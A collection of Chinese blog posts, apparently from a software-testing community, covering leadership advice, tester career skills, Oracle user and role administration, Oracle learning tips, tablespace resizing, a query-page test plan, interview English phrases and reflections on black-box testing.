    任何人的能力都是有限的,作为高级经理人不能象业务员那样事事亲历亲为,而要明确自己的职责就是培养下属共同成长,给自己机会,更要为下属的成长创造机会。孤家寡人是成就不了事业的。部属是自己的一面镜子,也是延伸自己智力和能力的载体,要赋予下属责、权、利,下属才会有做事的责任感和成就感,要清楚一个部门的人琢磨事,肯定胜过自己一个脑袋琢磨事,这样下属得到了激励,你自己又可以放开手脚做重要的事,何乐而不为。切记成就下属,就是成就自己。

    7. 判断能力
    判断对于一个经理人来说非常重要,企业经营错综复杂,常常需要主管去了解事情的来龙去脉因果关系,从而找到问题的真正症结所在,并提出解决方案。这就要求洞察先机,未雨绸缪。要清楚这样才能化危机为转机,最后变成良机。

    8. 创新能力
    创新是衡量一个人、一个企业是否有核心竞争能力的重要标志,要提高执行力,除了要具备以上这些能力外,更重要的还要时时、事事都有强烈的创新意识,这就需要不断地学习,而这种学习与大学里那种单纯以掌握知识为主的学习是很不一祥的,它要求大家把工作的过程本身当作一个系统的学习过程,不断地从工作中发现问题、研究问题、解决问题。解决问题的过程,也就是向创新迈进的过程。因此,我们做任何一件事都可以认真想一想,有没有创新的方法使执行的力度更大、速度更快、效果更好。要清楚创新无极限,唯有创新,才能生存。
     
     
    领导力更需提升

    一个部门经理提高完成任务执行力的过程,其实也就是提高自身对部门员工领导力的过程。因为要提高执行部门的执行力,不是光靠经理一人所能完成的,而是要靠带领部门所有员工的共同努力才能完成的。
     
    如果你是测试员或是高级测试员,有志转向管理发展,那么需要加强以下几点:

    1. 测试计划的编写(要结合测试的项目,能以此来控制和确定测试所需人员,设备及时间来管理测试时间)

    2. 要熟悉BUG跟踪工具及软件测试流程.(如: TD, Bugzilla, CQ等)

    3. 要熟悉配置管理工具. (如: CVS, VSS等)

    4. 要熟悉自动化工具.(例如:WinRunner, QTP, Robot, RFT, Automation等,能结合录制完的脚本编写代码)

    5. 要熟悉压力及性能测试工具.(例如: LoadRunner, webload, silkperformance等,能结合相关数据,分析出性能瓶颈)

    6. 要熟悉或精通一门语言. (例如: Java, C++)

    7. 要熟悉数据库.(例如: Oracle, DB2, SQLServer, MySQL)

    8. 要熟悉主流操作系统. (例如: HP Unix, IBM AIX, Sun Solaris, Red Hat Linux, SuSE Linux, Windows)

    9. 能用英文流利的和老外交流以及往来Email.

    10. 语言表达能力强,表达问题清晰明了.

    11. 沟通能力强,能和上级/开发经理很好的达成测试相关/BUG事宜.

    12. 学习技术的能力要强,能快速上手一个新的技术.

    13. 乐于与人交流.
     

    用于承担责任


    表率

        春秋晋国有一名叫李离的狱官,他在审理一件案子时,由于听从了下属的一面之辞,致使一个人冤死。真相大白后,李离准备以死赎罪,晋文公说:官有贵贱,罚有轻重,况且这件案子主要错在下面的办事人员,又不是你的罪过。李离说:“我平常没有跟下面的人说我们一起来当这个官,拿的俸禄也没有与下面的人一起分享。现在犯了错误,如果将责任推到下面的办事人员身上,我又怎么做得出来”。他拒绝听从晋文公的劝说,伏剑而死。

        正人先正己,做事先做人。管理者要想管好下属必须以身作则。示范的力量是惊人的。不但要象先人李离那样勇于替下属承担责任,而且要事事为先、严格要求自己,做到“己所不欲,勿施于人”。一旦通过表率树立起在员工中的威望,将会上下同心,大大提高团队的整体战斗力。得人心者得天下,做下属敬佩的领导将使管理事半功倍。
     
     

    说到底,对上提高执行力、对下就要提升领导力。

    那么,怎样才能提升领导力呢?除了提高以上八项能力之外,还有最重要的两点:

    1. 学会用老板眼光看企业。
    在老板看来,管理很简单,就是两件事:一是扩大业务范围,增加业务收人;另一件事就是降低管理成本,控制运作费用。其实这两件事,最终是一件事,收入减去成本,减去费用,就是利润。所以归根到底老板是看利润的,利润要从管理中来。

    2. 从被领导中学习领导。
    在领导人看来,领导也很简单,就是两件事:一是用人,内圈用德、外圈用才,用人所长、容人所短;二是激励,解人之难、记人之功,通过正面激励,引导下属往前跑,通过负面激励,推着下属往前走。要知道,任何领导都是从做下属开始的,谁都不可能一步登天当领导。在每个人的成长过程中,你会经历大大小小许多领导,只要你用心学习,不管是好领导、还是坏领导,你都可以从正反两方面学到经验和教训,这对你将来当好领导是十分珍贵的。
     
     
  • oracle用户权限及角色

    january 发布于 2009-02-06 18:17:12

    每个Oracle用户都有一个名字和口令,并拥有一些由其创建的表、视图和其他资源。Oracle角色(role)就是一组权限(privilege)(或者是每个用户根据其状态和条件所需的访问类型)。用户可以给角色授予或赋予指定的权限,然后将角色赋给相应的用户。一个用户也可以直接给其他用户授权。

        数据库系统权限(Database System Privilege)允许用户执行特定的命令集。例如,CREATE TABLE权限允许用户创建表,GRANT ANY PRIVILEGE 权限允许用户授予任何系统权限。

        数据库对象权限(Database Object Privilege)使得用户能够对各个对象进行某些操作。例如DELETE权限允许用户删除表或视图的行,SELECT权限允许用户通过select从表、视图、序列(sequences)或快照 (snapshots)中查询信息。

    一、创建用户

       Oracle内部有两个建好的用户:SYSTEM和SYS。用户可直接登录到SYSTEM用户以创建其他用户,因为SYSTEM具有创建别的用户的权限。在安装Oracle时,用户或系统管理员首先可以为自己建立一个用户。例

        create user user01 identified by u01;

        该命令还可以用来设置其他权限,详细情况参见自学资料。要改变一个口令,可以使用alter user命令:

        alter user user01 identified by usr01;

        现在user01的口令已由“u01”改为“usr01”。

        除了alter user命令以外,用户还可以使用password命令。如果使用password命令,用户输入的新口令将不在屏幕上显示。有dba特权的用户可以通过password命令改变任何其他用户的口令;其他用户只能改变自己的口令。

        当用户输入password命令时,系统将提示用户输入旧口令和新口令,如下所示:

        password

        Changing password for user01

        Old password:

        New password:

        Retype new password:

        当成功地修改了口令时,用户会得到如下的反馈:

        Password changed

    、删除用户

        删除用户,可以使用drop user命令,如下所示:

        drop user user01;

       如果用户拥有对象,则不能直接删除,否则将返回一个错误值。指定关键字CASCADE,可删除用户所有的对象,然后再删除用户。下面的例子用来删除用户与其对象:

        drop user user01 CASCADE;

    、3种标准角色

        Qracle为了兼容以前的版本,提供了三种标准的角色(role):CONNECT、RESOURCE和DBA。

        1. CONNECT Role(连接角色)

        临时用户,特别是那些不需要建表的用户,通常只赋予他们CONNECTrole。CONNECT是使用Oracle的简单权限,这种权限只有在对其他用户的表有访问权时,包括select、insert、update和delete等,才会变得有意义。拥有CONNECT role的用户还能够创建表、视图、序列(sequence)、簇(cluster)、同义词(synonym )、会话(session)和与其他数据库的链(link)。

        2. RESOURCE Role(资源角色)

        更可靠和正式的数据库用户可以授予RESOURCE role。RESOURCE提供给用户另外的权限以创建他们自己的表、序列、过程(procedure)、触发器(trigger)、索引(index)和簇(cluster)。

        3. DBA Role(数据库管理员角色)

        DBA role拥有所有的系统权限----包括无限制的空间限额和给其他用户授予各种权限的能力。SYSTEM由DBA用户拥有。下面介绍一些DBA经常使用的典型权限。

       (1)grant(授权)命令

        下面对刚才创建的用户user01授权,命令如下:

        grant connect, resource to user01;

       (2)revoke(撤消)权限

        已授予的权限可以撤消。例如撤消(1)中的授权,命令如下:

        revoke connect, resource from user01;

        一个具有DBA角色的用户可以撤消任何别的用户甚至别的DBA的CONNECT、RESOURCE 和DBA的其他权限。当然,这样是很危险的,因此,除非真正需要,DBA权限不应随便授予那些不是很重要的一般用户。

        撤消一个用户的所有权限,并不意味着从Oracle中删除了这个用户,也不会破坏用户创建的任何表;只是简单禁止其对这些表的访问。其他要访问这些表的用户可以象以前那样地访问这些表。

    四、创建角色

       除了前面讲到的三种系统角色----CONNECT、RESOURCE和DBA,用户还可以在Oracle创建自己的role。用户创建的role可以由表或系统权限或两者的组合构成。为了创建role,用户必须具有CREATE ROLE系统权限。下面给出一个create role命令的实例:

        create role STUDENT;

        这条命令创建了一个名为STUDENT的role。

        一旦创建了一个role,用户就可以给他授权。给role授权的grant命令的语法与对对用户的语法相同。在给role授权时,在grant命令的to子句中要使用role的名称,如下所示:

        grant select on CLASS to STUDENT;

       现在,拥有STUDENT角色的所有用户都具有对CLASS表的select权限。

    五、删除角色

       要删除角色,可以使用drop role命令,如下所示:

       drop role STUDENT;

       指定的role连同与之相关的权限将从数据库中全部删除。

  • Oracle 的入门心得

    january 发布于 2009-01-09 11:39:36

    Oracle 的入门心得-->强烈推荐

    oracle的体系太庞大了,对于初学者来说,难免会有些无从下手的感觉,什么都想学,结果什么都学不好,所以把学习经验共享一下,希望让刚刚入门的人对oracle有一个总体的认识,少走一些弯路。    一、定位 oracle分两大块,一块是开发,一块是管理。开发主要是写写存储过程、触发器什么的,还有就是用Oracle的Develop工具做form。有点类似于程序员,需要有较强的逻辑思维和创造能力,个人觉得会比较辛苦,是青春饭J;管理则需要对oracle数据库的原理有深刻的认识,有全局操纵的能力和紧密的思维,责任较大,因为一个小的失误就会down掉整个数据库,相对前者来说,后者更看重经验。    因为数据库管理的责任重大,很少公司愿意请一个刚刚接触oracle的人去管理数据库。对于刚刚毕业的年轻人来说,可以先选择做开发,有一定经验后转型,去做数据库的管理。当然,这个还是要看人个的实际情况来定。

    selina33 2004-5-18 20:36

    回复: Oracle 的入门心得

    二、学习方法   我的方法很简单,就是:看书、思考、写笔记、做实验、再思考、再写笔记         看完理论的东西,自己静下心来想想,多问自己几个为什么,然后把所学和所想的知识点做个笔记;在想不通或有疑问的时候,就做做实验,想想怎么会这样,同样的,把实验的结果记下来。思考和做实验是为了深入的了解这个知识点。而做笔记的过程,也是理清自己思路的过程。         学习的过程是使一个问题由模糊到清晰,再由清晰到模糊的过程。而每次的改变都代表着你又学到了一个新的知识点。         学习的过程也是从点到线,从线到网,从网到面的过程。当点变成线的时候,你会有总豁然开朗的感觉。当网到面的时候,你就是高手了         很多网友,特别是初学的人,一碰到问题就拿到论坛上来问,在问前,你有没有查过书,自己有没有研究过,有没有搜索一下论坛?这就叫思维惰性。由别人来回答你的问题,会让你在短时间内不费劲地弄懂这个知识点,然而通过自己的努力去研究它,不但会更深入的了解这个知识点,更重要的是在研究的过程会提高你解决问题和分析问题的能力。总的来说,没有钻研的学习态度,不管学什么东西,都不会成功的。         当然,初学的人很多时候是因为遇到问题时,无从下手,也不知道去哪里找资料,才会到论坛上提问题的。但我认为,在提问的时候,是不是可以问别人是如何分析这个问题?从哪里可以找到相关的资料?而不是这个问题的答案是什么?授人以鱼不如授人以渔。    下面我讲下我处理问题的过程    首先要知道oracle的官方网站:www.oracle.com 这里有oracle的各种版本的数据库、应用工具和权威的官方文档。其次,还要知道[url]http://metalink.oracle.com/[/url]这里是买了oracle服务或是oracle的合作伙伴才可以进去的,里面有很多权威的解决方案和补丁。然后就是一些著名网站:asktom.oracle.com [url]www.orafaq.net[/url], [url]www.dbazine.com[/url]。这里有很多经验之谈。     遇到问题了。如果是概念上的问题,第一时间可以找tahiti.oracle.com,这里会给你最详细的解释。如果在运行的过程中出了什么错误。可以去metalink看看。如果是想知道事务的处理的经验之谈。可以去asktom。当然。这里只是相对而言。 [ Last edited by selina33 on 2004-7-13 at 23:34 ]

    selina33 2004-5-18 20:37

    回复: Oracle 的入门心得

    三、oracle的体系 oracle的体系很庞大,要学习它,首先要了解oracle的框架。在这里,简要的讲一下oracle的架构,让初学者对oracle有一个整体的认识。    1、物理结构(由控制文件、数据文件、重做日志文件、参数文件、归档文件、密码文件组成) 控制文件:包含维护和验证数据库完整性的必要信息、例如,控制文件用于识别数据文件和重做日志文件,一个数据库至少需要一个控制文件 数据文件:存储数据的文件 重做日志文件:含对数据库所做的更改记录,这样万一出现故障可以启用数据恢复。一个数据库至少需要两个重做日志文件 参数文件:定义Oracle 例程的特性,例如它包含调整SGA 中一些内存结构大小的参数 归档文件:是重做日志文件的脱机副本,这些副本可能对于从介质失败中进行恢复很必要。 密码文件:认证哪些用户有权限启动和关闭Oracle例程    2、逻辑结构(表空间、段、区、块) 表空间:是数据库中的基本逻辑结构,一系列数据文件的集合。 段:是对象在数据库中占用的空间 区:是为数据一次性预留的一个较大的存储空间 块:ORACLE最基本的存储单位,在建立数据库的时候指定    3、内存分配(SGA和PGA) SGA:是用于存储数据库信息的内存区,该信息为数据库进程所共享。它包含Oracle 服务器的数据和控制信息, 它是在Oracle 服务器所驻留的计算机的实际内存中得以分配,如果实际内存不够再往虚拟内存中写。 PGA:包含单个服务器进程或单个后台进程的数据和控制信息,与几个进程共享的SGA 正相反PGA 是只被一个进程使用的区域,PGA 在创建进程时分配在终止进程时回收    4、后台进程(数据写进程、日志写进程、系统监控、进程监控、检查点进程、归档进程、服务进程、用户进程) 数据写进程:负责将更改的数据从数据库缓冲区高速缓存写入数据文件 日志写进程:将重做日志缓冲区中的更改写入在线重做日志文件 系统监控:检查数据库的一致性如有必要还会在数据库打开时启动数据库的恢复 进程监控:负责在一个Oracle 进程失败时清理资源 检查点进程:负责在每当缓冲区高速缓存中的更改永久地记录在数据库中时,更新控制文件和数据文件中的数据库状态信息。 归档进程:在每次日志切换时把已满的日志组进行备份或归档 服务进程:用户进程服务。 用户进程:在客户端,负责将用户的SQL 语句传递给服务进程,并从服务器段拿回查询数据。    5、oracle例程:Oracle 例程由SGA 内存结构和用于管理数据库的后台进程组成。例程一次只能打开和使用一个数据库。    6、SCN(System Change Number):系统改变号,一个由系统内部维护的序列号。当系统需要更新的时候自动增加,他是系统中维持数据的一致性和顺序恢复的重要标志。

    selina33 2004-5-18 20:37

    回复: Oracle 的入门心得

    四、深入学习   管理:可以考OCP证书,对oracle先有一个系统的学习,然后看Oracle Concepts、oracle online document,对oracle的原理会有更深入的了解,同时可以开始进行一些专题的研究如:RMAN、RAS、STATSPACT、DATAGUARD、TUNING、BACKUP&RECOVER等等。    开发:对于想做Oracle开发的,在了解完Oracle基本的体系结构之后,可以重点关注PL/SQL及Oracle的开发工具这一部分。 PL/SQL主要是包括怎么写SQL语句,怎么使用Oracle本身的函数,怎么写存储过程、存储函数、触发器等。 Oracle的开发工具主要就是Oracle自己的Developer Suite(Oracle Forms Developer and Reports Developer这些),学会如何熟练使用这些工具。

    selina33 2004-5-18 20:38

    回复: Oracle 的入门心得

    介绍几本oracle入门的好书 oracle官方文档:《concept》上面讲了oracle的体系和概念,很适合初学者看。 OCP的教学用书,也就是STUDY GUIDE(SG)。 Oracle8i 备份恢复手册 Oracle8高级管理与优化 Oracle8i PLSQL程序设计 Oracle8数据库管理员手册以上书本都是机械工业出版社出版。    介绍几个网站 [url]http://tahiti.oracle.com[/url] oracle的官方文档 现在[url]http://www.oracle.com.cn/onlinedoc/index.htm[/url]也有官方文档,速度奇快 [url]http://metalink.oracle.com/[/url] oracle的技术支持网站。需要购买Oracle服务才能有一个帐号,才能登陆,有大量的Knowledge Base,大量问题解决经验。 [url]http://www.oracle.com[/url] oracle的官方网站,可以在这里down oracle的软件、官方文档和获得最新的消息 [url]http://www.dbazine.com/[/url] Oracle的杂志 [url]http://asktom.oracle.com[/url]   [url]http://www.orafaq.net/[/url]   [url]http://www.ixora.com.au/[/url] [url]http://www.oracle-base.com[/url] [url]http://www.dba-oracle.com/oracle_links.htm[/url]
  • 在oracle数据库中,我们如何增加表空间的大小?

    january 发布于 2009-03-09 16:55:16



    在开发oracle数据库中,我们有两种方法增加表空间的大小:

      1.增加额外的数据文件到表空间中

      例如:alter tablespace users add datafile '/u01/oradata/orcl/users02.dbf' size 25m;

      2.修改表空间当前的数据文件

      例如:alter database datafile

      '/u01/oradata/orcl/users01.dbf' resize 50m;
  • 查询测试分析

    小刀 发布于 2008-09-27 15:52:05

    一.角色以及入口:

    角色:系统管理员,开发人员

    入口:服务管理

     

    二.页面元素检查:

    对页面初始化的检查,即页面打开后,对页面不做任何操作时的元素检查。(破页;js错;demo对比等)

     

    1、查询条件:

       服务名称:文本输入框,默认为空。

       服务类型:下拉列表选择,默认为"请选择"。

       服务代码:文本输入框,默认为空。

       业务类型:下拉列表选择,默认为"请选择"。

       审核标志:下拉列表选择,默认为"请选择"。

       开始时间:通过控件选择,时间范围。

       结束时间:通过控件选择,时间范围。

    2、查询结果列表:

       搜索结果显示字段为:选择,服务名称,服务类型,服务代码, 审核标志, 是否邮件报警,是否短信报警,开始时间,结束时间,备注。

       默认结果列表无数据。

     

    3. 翻页显示格式

     

    4. 控件名称

       该页面包括如下控件名称:查询,重置,新增,修改,删除,审核,上一页,下一页。

     

    三.页面控件组合的功能矩阵:

    1. 日期控件

      1)开始时间:选择起始时间后,联动显示出结束时间选择,结束时间小于起始时间日期的日不能选择。

      2)结束时间:选择起始时间后,联动显示出结束时间选择,结束时间小于起始时间日期的日不能选择。。

    2. 单条件查询

         1)服务名称支持模糊查询。

         2)分发类型,审核标志默认查询,查询到全部未删除的数据记录。

         3)以开始时间范围进行查询,查询到开始时间为所选择范围内未删除的数据记录,如果只选择起始时间,不选择结束时间,则默认结束时间为当前时间,

         如果只选择结束时间,不选择起始时间,则默认起始时间为系统最早数据的开始时间。

         4)以结束时间范围进行查询,查询到开始时间为所选择范围内的未删除的数据记录,如果只选择起始时间,不选择结束时间,则默认结束时间为当前时间,

         如果只选择结束时间,不选择起始时间,则默认起始时间为系统最早数据的开始时间。

     

    3. 组合条件查询

         1)默认条件查询:查询出全部的未删除的数据记录。

         2)全空条件查询:查询出全部的未删除的数据记录。

         3)全选条件查询:一次只能查询出一条数据记录。

    4. 重置按钮

         1)输入查询条件,点击重置按钮,查询条件返回默认状态。

    5. 新增按钮

         1)点击新增按钮,进入新增服务页面。

    6. 修改按钮

         1)进入服务查询页面,查询到服务数据,不选择任何一条数据,点击"修改"按钮,系统给出相应提示信息。

         2)以非系统管理员身份登陆系统,进入服务查询页面,查询到服务数据,选择一条审核状态为"已审核"的服务,点击"修改"按钮,系统给出不能修改的提示信息。

         3)以系统管理员身份登陆系统,进入服务查询页面,查询到服务数据,选择一条审核状态为"已审核"的服务,点击"修改"按钮,系统给出相应提示,但是可以进入编辑页面。

    7. 删除按钮

         1)进入服务查询页面,查询到服务数据,不选择任何一条数据,点击"删除"按钮,系统给出相应提示信息。

         2)以非系统管理员身份登陆系统,进入服务查询页面,查询到服务数据,选择一条审核状态为"已审核"的服务,点击"删除"按钮,系统给出不能删除的提示信息。

         3)以系统管理员身份登陆系统,进入服务查询页面,查询到服务数据,选择一条审核状态为"已审核"的服务,点击"删除"按钮,系统给出相应提示,如果确定删除,则删除成功。

    8.审核按钮

         进入服务审核页面,查询到服务数据,选择一条服务数据记录,点击[详情]按钮,弹出新窗口显示出该数据详细的信息内容。

         审核页面内容:

         服务基本信息:服务名、服务类型、服务代码、分发业务类型、开始时间、结束时间、是否邮件报警、否短信报警。

         分发步骤信息:步骤序号、分发步骤名、步骤类型、SQL名、SQL详情。

                      若一个步骤有多个固化SQL,则显示多条记录。

                      选中分发步骤中的一条记录,则SQL详情中显示该SQL名对应的SQL信息。

     

    四.查询结果的校验:

    1、查询无结果:右下角有 :not result to display的提示信息,结果显示栏无数据结果。

    2、有结果时检查:

       1)所有结果数据与数据库是否匹配,右下角显示查询结果数据是否和数据库匹配,用sql核对。

       2)结果中每个字段值与数据库某个字段值匹配,且表示形式符合需求。

       3)翻页、排序、链接显示检查。

       4)选择数据,一次只能选择一条数据。

    五.用例划分说明:

    1. 单条件查询

    2. 按钮功能检查

    3. 页面检查

    4. 组合条件查询

    5.  翻页检查

  • 软件测试面试常用英语(转)

    月上百合 发布于 2009-03-16 11:21:00

    With my qualifications and experience, I feel I am hardworking, responsible and diligent in any project I undertake. Your organization could benefit from my analytical andinterpersonal skills.依我的资格和经验,我觉得我对所从事的每一个项目都很努力、负责、勤勉。我的分析能力和与人相处的技巧,对贵单位必有价值。
    Q:Why did you leave your lastjob?你为什么离职呢?
    A:Well, I am hoping to get an offer of a better position. If opportunity knocks, I will take it.
    我希望能获得一份更好的工作,如果机会来临,我会抓住。
    With my strong academic background, I am capable and competent.
    凭借我良好的学术背景,我可以胜任自己的工作,而且我认为自己很有竞争力。
    Q:What do you think you are worth to us?你怎么认为你对我们有价值呢?
    A:I feel I can make some positive contributions to your company in the future.
    我觉得我对贵公司能做些积极性的贡献。
    Q:What make you think you would be a success in this position?
    你如何知道你能胜任这份工作?
    A:My graduate school training combined with my internship should qualify me for this particular job. I am sure I will be successful.
    我在研究所的训练,加上实习工作,使我适合这份工作。我相信我能成功。
    Q:What is your strongest trait(s)?你个性上最大的特点是什么?
    A:Helpfulness and caring.乐于助人和关心他人。
    A:Adaptability and sense of humor.适应能力和幽默感。
    A:Cheerfulness and friendliness.乐观和友爱。
    Q:How do you normally handle criticism?你通常如何处理別人的批评?
    A:Silence is golden. Just don't say anything; otherwise the situation could become worse. I do, however, accept constructive criticism.
    沈默是金。不必说什么,否则情况更糟,不过我会接受建设性的批评。
    A:When we cool off, we will discuss it later. 我会等大家冷靜下来再讨论。)
    Q:How do you handle your conflict with your colleagues in your work?
    你如何处理与同事在工作中的意见不和?
    A:I will try to present my ideas in a more clear and civilized manner in order to get my points across. 我要以更清楚文明的方式,提出我的看法,使对方了解我的观点。
    Q:How do you handle your failure?你怎样对待自己的失敗?
    A:None of us was born "perfect". I am sure I will be given a second chance to correct my mistake.我们大家生来都不是十全十美的,我相信我有第二个机会改正我的错误。
    Q:What provide you with a sense of accomplishment.什么会让你有成就感?
    A:Do my best job for your company. 为贵公司竭力效劳。)
    A:Finish a project to the best of my ability. 尽我所能,完成一个项目。
    Q:How long would you like to stay with this company?你会在本公司服务多久呢?
    A:I will stay as long as I can continue to learn and to grow in my field.
    只要我能在我的行业力继续学习和长进,我就会留在这里。
    Q:Could you project what you would like to be doing five years from now?
    你能预料五年后你会做什么吗?
    A:As I have some administrative experience in my last job, I may use my organizational and planning skills in the future.
    我在上一个工作中积累了一些行政经验,我将来也许要运用我组织和计划上的经验和技巧。
    A:I hope to demonstrate my ability and talents in my field adequately.
    我希望能充分展示我在这个行业的能力和智慧。
    Don't appear to be pushy or overly anxious to get a job. 不必过分表现急着要工作。
    Be honest but not too modest. 要诚实,但不必太谦虚。
    Don't put yourself down or cut yourself up. 不可妄自菲薄或自贬。

  • 测试感悟(针对手动、黑盒)(转)

    fanjianmin 发布于 2009-03-17 16:43:08

    水因地而制行,兵因敌而制胜——测试感悟(针对手动、黑盒)

    北大方正技术研究院 李守亮

    1999年6月

    编者按:这是一篇好文章,不在于他的文笔,而在于他的用"心"工作,用心总结。是他的工作经验和心路历程的记录,值得大家学习。

    一直以来,总想写一写关于测试方面的文章。今天,真的接到这个题目时,却欲言又止,迟迟不能落笔。在这里,我也只将自己的实际经验介绍给大家,抛砖引玉,和大家共同探讨。

    刚开始做测试的同事会有一种感觉,认为测试实际上是在充当这个产品的第一用户。也有人认为,测试其实很简单,没有什么技术可言。

    其实,测试说易也易,因为进入门槛低;说难也难,因为测深测精不简单。黑盒测试很讲究策略,测试也是一门学问。

    初涉测试的心路历程

            对测试的认识,每个测试人员都有一个过程。我对测试的认识,在每个阶段各不相同,其中也走了不少弯路。在此,我用第三人称把自己对测试工作的认识过程写出来,希望后来的同事能从中得到启发。

    第一阶段学习+验证

    对于新来的同事,刚刚涉及测试,往往踏不下心来。感觉测试是件没完没了地事情,并且单调重复、枯燥乏味,没有激情、没有成就感。这是很正常的现象,刚进入一个新的岗位,总有一个适应过程。

    在这一阶段,新员工需要做的事情是,先学会使用所测的软件,熟悉他的每一个功能,弄清楚每一个功能的正确效果应该是什么?然后才开始尝试着去找一些肤浅的问题。这一阶段的感觉是:"测试实际上就是验证产品每个功能的有效性"。新员工这一阶段虽然不太出成绩,但却很重要,因为这是以后工作的基础。

    第二阶段与开发对立的误区

       当熟悉了所测产品的功能,并且找到测试的感觉后,就开始较深入地测试了。

    在这一阶段,新员工会逐渐发现一些严重的BUG。当看到自己发现的问题被解决后,才真正感觉到自己在参与产品的生产。渐渐地,渐渐地,就会感觉到测试其实也挺有趣。尤其是发现一些死机或特别严重的错误时,有时会兴奋上几个小时。这是他进入状态的必然过程。

    此时,他对测试的认识是:"测试,就是要找出产品的缺陷,是证明当前产品不可用的一种行为"。这一阶段非常值得注意!很多软件公司常说:"开发和测试的行为是对立和矛盾的",这实际上是测试工作的误区。

    第三阶段与开发主动配合

       随着测试经验的积累,对工作的认识也逐步深入。最后,他会发现,开发和测试之间,本质上是一个合作的过程,目标本是一致的。都是为了尽量减少发布产品中的错误,达到用户可接受的程度。于是,他会更多地站在用户角度考虑问题,测试的目的也越来越明确,工作也越来越主动。

    第四阶段责任感+验证

       当经历了产品的几个生命周期之后,从不断的需求、开发、维护、升级循环过程中,逐渐认识到,测试实际上是降低产品风险的一种行为。逐步认识到,测试介入的环节越早,风险也就越小。

    在和最终用户多次打交道,亲身体验用户的心情之后,油然而生出一种强烈的责任感,对测试的理解也随之升华为一种产品意识:测试工作和研发工作,实际上是一种荣辱与共的关系,取得的成绩和造成的失误,其荣誉和责任是同等的。此时,当他发现一个致命的错误或缺陷时,第二阶段的那种兴奋也许只会存在3秒钟。此时的他,更多考虑的是怎样帮助研发组尽快地把该问题解决掉。在这一阶段,测试工作中更注重产品的实用性和易用性。

       从学习阶段对产品的验证,到与研发的对立,到主动地和研发配合,到一种责任感使命感自发地对功能的验证,这是一个高级测试人员所必然要经历的一个心路历程。  

    测试中的几种思维方式

       测试能否出成绩?以及测试工作的优劣,与个人的素质和修养有关。

    测试工作说易也易,只要认真、负责,就能做出一些成绩。但说难也难,测试讲究很多方法和策略,要测的精,问题定位的及时准确,规律找的准确有效,那是需要下一番功夫的。在此,我把测试中常用的几种思维方式共享如下:  

    正向思维  

             在测试一个产品之前,需要做的重要事情是,熟读产品的设计文档,详细了解每个功能的正确效果。然后针对每个模块,顺着程序员的思路,逐个验证,以验证测试功能的有效性。这是以后深入测试的基础,也是做自动测试的前提。

             搞清楚每个模块是干什么的,弄清楚正确的效果,才知道什么是错误的。这是非常关键的一个环节,如果在这方面不下功夫,也就很难测试出有价值的BUG。因为,很明显的错误结果可能就在你眼前大摇大摆地经过,而你却认为这是正确的!我就曾经一度陷入这一误区,好在很快地补上了这一课。  

    逆向思维  

             关于"逆向思维",我有两种解释,一是针对开发人员。

    开发人员在调试或自测时,总爱顺着已有的思路进行。所以,在很多情况下容易忽略自己所犯的错误,例如边缘条件检查,异常处理等等。所谓当局者迷,旁观者清,是因为你可以跳出他的思维定式,从另外的角度来思考问题。所以,只要你肯动脑筋,不按他的逻辑进行检测,就一定能找出许多破绽。  

    关于"逆向思维"的第二种解释,是针对具体问题。

    当发生严重问题时,首先要保护好现场,然后努力地回忆,努力地理清思路。要善于从错误现象的最后一步往前倒推。例如死机问题,仅一个现象并不能说明问题,关键要找出它的规律。规律有时是最后一步操作导致,而有时则是前几十步操作的累加,这需要我们追忆刚才的几十步操作,并大胆怀疑其中的疑点,有目的的undo、redo。这一招叫顺藤摸瓜,抓住规律的尾巴,从最后一步开始。  

    跳跃性思维  

             我也称它为联动思维。

    有时,一个问题表现出来的现象和问题的本质会差着十万八千里,这类问题的规律也极难准确地捕捉到。处理这类问题,需要有扎实的测试基本功,并对产品非常地熟悉,才能把表面上毫不相关,却有着千丝万缕关系的孤立的两点联系起来;才能从一处错误得到启示,联想到其他模块也可能存在类似的问题......  

    关于测试技巧  

    黑盒测试,尤其是手工黑盒测试的业绩,有七成决定于个人因素。

    测试需要有高度的责任心和使命感,要有主人翁精神。任何工作只有敬业才能做出成绩,工作主动了,自然会得到回报。  

    在很多情况下,问题的现象出现了,但规律却不明显。当问题提交后,在开发那里却死活不能重现,这种情况是很尴尬和无奈的。所以,作为一个出色的测试工程师,仅仅捕获到问题的现象是远远不够的,还要找到其规律,甚至弄懂它更深层次的原因。

    遇到这类问题怎么办?很多人可能就此放弃了,因为说他是"无规律或不能重现事件"。在我看来,这种说法是错误的。我认为,一定要树立起一个观念,那就是:"任何错误的出现,都绝不是偶然的。每个错误现象背后都隐含着一个必然的规律,不管是肤浅的,还是深奥的。"而测试的目的,就是要把这个规律挖出来。因为,规律总结得越准确,对问题的定位和解决帮助就越大。  

             做好测试工作必须要做到几条:首先,要努力培养起对测试的兴趣;要培养对所测产品的感情,要像对待自己孩子一样去热爱它,呵护它。其次,要胆大并心细。要有游走于高山峡谷边缘的那种"如临深渊,如履薄冰"的胆量和谨慎。要敢于怀疑,大胆假设而小心求证。再次,要有耐心,戒骄戒躁,心要安静。  

    如果说测试有技巧的话,也仅占到三成:

             1、对待问题要锲而不舍,并善于总结经验。

             举一个案例,对于"方正飞腾(报社专用排版软件)自动勾边死机问题"规律的发现,我现在还记忆犹新。我1997年刚接触这款软件时就遇到了该问题,但问题变化无常,当时找不到一点儿规律:有时,在关键位置点一下鼠标就死,有时点100多次才死,有时怎么点都不会死。该问题整整困扰了我一年,直到有一天,我盯着屏幕发呆,发现鼠标变成了漏斗,我随便点了一下<调整>按钮,程序立刻死机。当时灵机一动,莫非跟"自动存盘"有关?判断是正确的!一年来的谜终于被解开了,而受此启发,后来遇到"非法字体窗口"、"自动翻页"、以及"删除表格"所引发的死机,不到1秒的时间,我就准确定位与自动存盘有关。  

             对于疑难问题,不妨先放他一放,过几天再去想,说不定就会有新思路冒出来,有新灵感被激发出来。对于每一个解决的疑难问题,都要认真分析它的原因,总结定位经验,并推演联想到其他模块。测试过程是一个循序渐进的过程,是一个经验积累的过程。以一年的摸索换来若干个一秒钟的思索,值!还有很多典型案例,限于篇幅,不便罗列。  

             2、善于推理,善于运用逆向思维。善于换位思考,变换角色对待问题;

             3、善于和别人共享经验,站在别人已有的思路上进一步深入,多动脑筋,多动手。

             4、简化问题规律的步骤,弄清楚问题产生的原因,总结程序员的教训,对类似问题可以触类旁通。

             5、不断地怀疑,不断地推翻怀疑。突破跳出思维定式,大胆假设,小心求证。  

    将军围猎  

    曾经在文字所和测试中心流传一句话:"软件里的bug如同海绵里的水,要想挤总会有的"。旧bug的修改往往会引发新bug的产生,所谓"按下葫芦起来瓢"。  

